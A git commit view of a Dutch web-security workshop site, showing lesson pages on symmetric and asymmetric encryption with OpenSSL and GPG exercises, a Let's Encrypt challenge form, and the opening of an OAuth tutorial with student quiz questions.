Initial commit

master
Paul Wagener 7 years ago
commit 517e8092e8
  1. 1
      .gitignore
  2. 1
      500.html
  3. 312
      encryptie.html
  4. 58
      index.html
  5. 56
      letsencrypt.html
  6. 371
      oauth.html
  7. 78
      path.html
  8. 7
      points.html
  9. 6
      sign.html
  10. BIN
      sketches.graffle/data.plist
  11. BIN
      sketches.graffle/image2.tiff
  12. BIN
      sketches.graffle/image3.tiff
  13. BIN
      sketches.graffle/image4.tiff
  14. BIN
      sketches.graffle/image5.tiff
  15. BIN
      sketches.graffle/image6.tiff
  16. 222
      sql.html
  17. 9
      static/css/bootstrap-responsive.min.css
  18. 9
      static/css/bootstrap.min.css
  19. 11
      static/css/semantic.min.css
  20. 85
      static/css/style.css
  21. 2
      static/geheim.aes256
  22. BIN
      static/img/access_token.png
  23. BIN
      static/img/asym_alicebob.png
  24. BIN
      static/img/asym_encryptie.png
  25. BIN
      static/img/auth_access_token.png
  26. BIN
      static/img/auth_basic.png
  27. BIN
      static/img/auth_basic_app.png
  28. BIN
      static/img/bank_schema.png
  29. BIN
      static/img/certificaat.png
  30. BIN
      static/img/certificaat_rabo.png
  31. BIN
      static/img/encryptie.jpg
  32. BIN
      static/img/encryption_project.png
  33. BIN
      static/img/gpg.png
  34. BIN
      static/img/http_auth.png
  35. BIN
      static/img/imgr.png
  36. BIN
      static/img/letsencrypt_challenge.png
  37. BIN
      static/img/letsencrypt_chrome.png
  38. BIN
      static/img/letsencrypt_conf.png
  39. BIN
      static/img/letsencrypt_congrats.png
  40. BIN
      static/img/letsencrypt_domain.png
  41. BIN
      static/img/letsencrypt_logo.png
  42. BIN
      static/img/loader.gif
  43. BIN
      static/img/oauth.png
  44. BIN
      static/img/oauth_authorization_code.png
  45. BIN
      static/img/oauth_call_api.png
  46. BIN
      static/img/oauth_exchange_auth_code.png
  47. BIN
      static/img/oauth_facebook.png
  48. BIN
      static/img/oauth_get_token.png
  49. BIN
      static/img/oauth_google_call_api.png
  50. BIN
      static/img/oauth_google_refresh.png
  51. BIN
      static/img/oauth_refresh_token.png
  52. BIN
      static/img/oauth_register.png
  53. BIN
      static/img/oauth_set_grant_type.png
  54. BIN
      static/img/parent_dir.png
  55. BIN
      static/img/password-salt.jpg
  56. BIN
      static/img/password.png
  57. BIN
      static/img/password2.jpg
  58. BIN
      static/img/poespas.png
  59. BIN
      static/img/publicprivatekey.png
  60. BIN
      static/img/rabobank.png
  61. BIN
      static/img/security_banner.jpg
  62. BIN
      static/img/shield.png
  63. BIN
      static/img/signature.jpg
  64. BIN
      static/img/sleutels_genereren.png
  65. BIN
      static/img/slotje_certificaat_vm.png
  66. BIN
      static/img/sql_injectie.png
  67. BIN
      static/img/sym_decryptie.png
  68. BIN
      static/img/sym_encryptie.png
  69. BIN
      static/img/web_of_trust.gif
  70. BIN
      static/img/webapp1.png
  71. BIN
      static/img/webapp2.png
  72. BIN
      static/img/webshop_schema.png
  73. BIN
      static/img/whatsapp.png
  74. BIN
      static/img/whatsapp_qr.png
  75. BIN
      static/img/zoekterm.png
  76. 4
      static/js/jquery-2.1.0.min.js
  77. 1
      static/js/jquery.base64.min.js
  78. 69
      static/js/quiz.js
  79. 17
      static/js/semantic.min.js
  80. 17
      static/secret.txt.asc
  81. 389
      wachtwoorden.html
  82. 244
      xss.html

1
.gitignore vendored

@ -0,0 +1 @@
.DS_Store

@ -0,0 +1 @@
Internal Server Error

@ -0,0 +1,312 @@
{% extends "base.html" %} {% block content %}
<h1>Encryptie &amp; Signen</h1>
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
<h2>Symmetrische encryptie</h2>
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
om je bestanden, berichten en verbindingen te beveiligen.</p>
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
<img src="static/img/sym_encryptie.png">
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
weer terug te krijgen.</p>
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft
kunnen Alice en Bob veilig met elkaar communiceren.</p>
<img src="static/img/sym_decryptie.png">
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
<ul>
<li>
<span class="argument">openssl</span> Het programma zelf</li>
<li>
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
<li>
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
<ul>
<li>
<b>aes</b> staat voor
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
<li>
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
<li>
<b>cbc</b> staat voor
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
</ul>
</li>
<li>
<span class="argument">-base64</span> lees en schrijf de versleutelde data als
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden
op websites.</li>
<li>
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
en de uitvoer wordt dan de versleutelde data</li>
<li>
<span class="argument">-in geheim.txt</span> het invoerbestand</li>
<li>
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
</ul>
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
<p>Een systeembeheerder heeft een geheim staan in dit
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
<div class="question">
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
</div>
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet
je de optie `-md sha256` toevoegen.</code>
</p>
<div class="question">
<span class="question-string">Versleutel de tekst "
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
<code>Ab12345</code> als wachtwoord.</span>
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
</div>
<p class="hint">Hint: Je kan dit commando gebruiken:
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
</p>
<h2>Asymmetrische encryptie</h2>
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen.
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
privé sleutel.</p>
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
is.
</p>
<img src="static/img/sleutels_genereren.png">
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen.
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
<img src="static/img/asym_encryptie.png">
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische
encryptie. Waarom zouden we dit gebruiken?</p>
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
anders.
</p>
<img src="static/img/publicprivatekey.png">
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel.
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
dat alleen Bob het kan lezen.</p>
<img src="static/img/asym_alicebob.png">
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
<div class="question">
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
<ol>
<li>Alleen Bob kan het bericht lezen</li>
<li>Bob weet zeker dat het bericht van Alice is</li>
</ol>
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
</span>
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
</div>
<p class="hint">
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
en de andere persoon gelezen kunnen worden.</p>
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
<div class="question">
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie
twee de chat kan lezen?</span>
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
</div>
<h2>GPG</h2>
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
is
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
berichten versturen.</p>
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
we onze eigen keyserver ingericht op websec.paulwagener.nl.
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt.</p>
<p>GPG kan je
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
<img src="static/img/gpg.png">
<code class="terminal">gpg --help</code>
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
<ul>
<li>
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
<li>
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
<li>
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
<li>
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
<li>
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
<li>
<b>--recv-keys --keyserver websec.paulwagener.nl
<i>sleutel-ID</i>
</b> Haal een publieke sleutel op van de onze keyserver</li>
<li>
<b>--send-keys --keyserver websec.paulwagener.nl
<i>sleutel-ID</i>
</b> Verstuur een publieke sleutel naar onze keyserver</li>
<li>
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
<li>
<b>-a</b> Output in ASCII base64 formaat</li>
<p>
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID
<b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
een tekst versleuteld in
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
<div class="question">
<span class="question-string">Welke zin hebben we versleuteld?</span>
{% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %}
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
</div>
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit
bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
<div class="question">
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
</div>
<p class="hint">
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
<p class="hint">
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
<p class="hint">
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
(zie lijst van opties hierboven)</p>
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel
naar de websec.paulwagener.nl keyserver.
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
voor onderstaande opdracht niet!)</p>
<div class="question">
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het
tekstveld (inclusief begin en einde
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
</div>
<h3>Web of Trust</h3>
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
te maken om met jouw private sleutel een
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
</p>
<img src="static/img/web_of_trust.gif">
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
sleutel weer opnieuw te versturen naar de keyserver.</p>
<div class="question">
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
antwoord hier.</span>
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
</div>
<p class="hint">
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
de server.</p>
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
<a href="http://xkcd.com/364/" target="_blank">
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
</a>

@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<title>Security Workshop</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
<script type="text/javascript" src="/static/js/quiz.js"></script>
</head>
<body>
<form method="POST" id="form-quiz">
<div class="row-fluid">
<div class="well span3" id="menu">
<ul>
<li>
<a href="/?sql">SQL Injection</a>
</li>
<li>
<a href="/?xss">Cross-site Scripting</a>
</li>
<li>
<a href="/?wachtwoorden">Wachtwoorden</a>
</li>
<li>
<a href="/?path">Insecure Direct Object References</a>
</li>
<!--
<li>
<a href="/?oauth">OAuth</a>
</li>
<li>
<a href="/?certificaten">Certificaten</a>
</li>
<li>
<a href="/?encryptie">Encryptie</a>
</li>
-->
</ul>
Moeilijkheidsgraad:
<select id="difficulty">
<option value="easy">Hints zichtbaar</option>
<option value="normal">Hints optioneel</option>
<option value="hard">Geen hints</option>
</select>
</div>
<div id="quiz" class="span8 offset3">
</div>
</form>
</body>
</html>

@ -0,0 +1,56 @@
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/semantic.min.css">
<style type="text/css">
body {
margin-top: 20px;
}
</style>
</head>
<body>
<h1 class="ui centered aligned header">Let's Encrypt</h1>
<div class="ui three column centered grid">
<div class="column ui">
<form method="POST" action="" class="ui form primary center aligned segment">
{% csrf_token %} {% if challenge %}
<p>Vanaf
<br>
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a>
<br> wordt de komende 10 minuten de volgende tekst getoond:
<br>
<code>{{challenge}}.{{response}}</code> {% elif error %}
<div class="ui negative message">
<p>{{error}}</p>
</div>
{% else %}
<div class="field">
<label for="domain">Challenge-response</label>
<div class="ui huge input">
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
</div>
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via
<br>
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
</p>
</div>
<button type="submit" class="ui big blue submit button">Opslaan</button>
{% endif %}
</form>
</div>
</div>
</div>
</body>
</html>

@ -0,0 +1,371 @@
{% extends "base.html" %} {% block content %}
<h1>OAuth</h1>
<img src="static/img/oauth.png" style="float: right">
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
versa.
</p>
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
kunnen checken.</p>
<h3>Simpele authenticatie</h3>
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
<figure>
<img src="static/img/auth_basic.png">
</figure>
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
<p>Een startup heeft de
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
werken.
</p>
<figure>
<img src="static/img/auth_basic_app.png">
</figure>
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken,
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
<h3>Access tokens</h3>
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
<p>OAuth lost dit probleem op door het concept van een
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
server deze kan verifiëren.</p>
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
<img src="static/img/oauth_facebook.png" class="center-block">
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
<figure>
<img src="static/img/auth_access_token.png" class="center-block">
</figure>
<p>Je kan ook een speciale
<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
<h3>Opdrachten</h3>
<p>Deze site heeft ook een API die te vinden is op:
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
de API kunnen aanroepen.</p>
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API
aanroep doet. Voor deze opdracht kan je die aanmaken op
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
<ul>
<li>
<b>Name</b>: mag je zelf kiezen</li>
<li>
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
<li>
<b>Client secret</b>: mag je zelf kiezen</li>
<li>
<b>Client type</b>: Confidential</li>
<li>
<b>Authorization grant type</b>: Implicit</li>
<li>
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
</ul>
<figure>
<img src="static/img/oauth_register.png" style="width: 50%">
</figure>
<div class="question">
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
</div>
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de
endpoints van een aantal bekende servers:</p>
<table border="1" cellpadding="4">
<tr>
<th>Service</th>
<th>Authorization endpoint</th>
<th>Token endpoint</th>
</tr>
<tr>
<td>Deze cursus</td>
<td>http://websec.paulwagener.nl/o/authorize/</td>
<td>http://websec.paulwagener.nl/o/token/</td>
</tr>
<tr>
<td>GitHub</td>
<td>https://github.com/login/oauth/authorize</td>
<td>https://github.com/login/oauth/access_token</td>
</tr>
<tr>
<td>Google</td>
<td>https://accounts.google.com/o/oauth2/auth</td>
<td>https://accounts.google.com/o/oauth2/token</td>
</tr>
<tr>
<td>Facebook</td>
<td>https://www.facebook.com/dialog/oauth</td>
<td>https://graph.facebook.com/oauth/access_token</td>
</tr>
</table>
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan'
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
code nodig.</p>
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
<ul>
<li>
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access
tokens mee maken.
<i>Voor deze opdracht gebruiken we "token"</i>.</li>
<li>
<b>client_id</b>: Jouw gekozen client id</li>
<li>
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
code of access token</li>
<li>
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
<li>
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
Kan handig zijn.</li>
</ul>
<p>Voor deze site is de authorisatie URL:
<br>
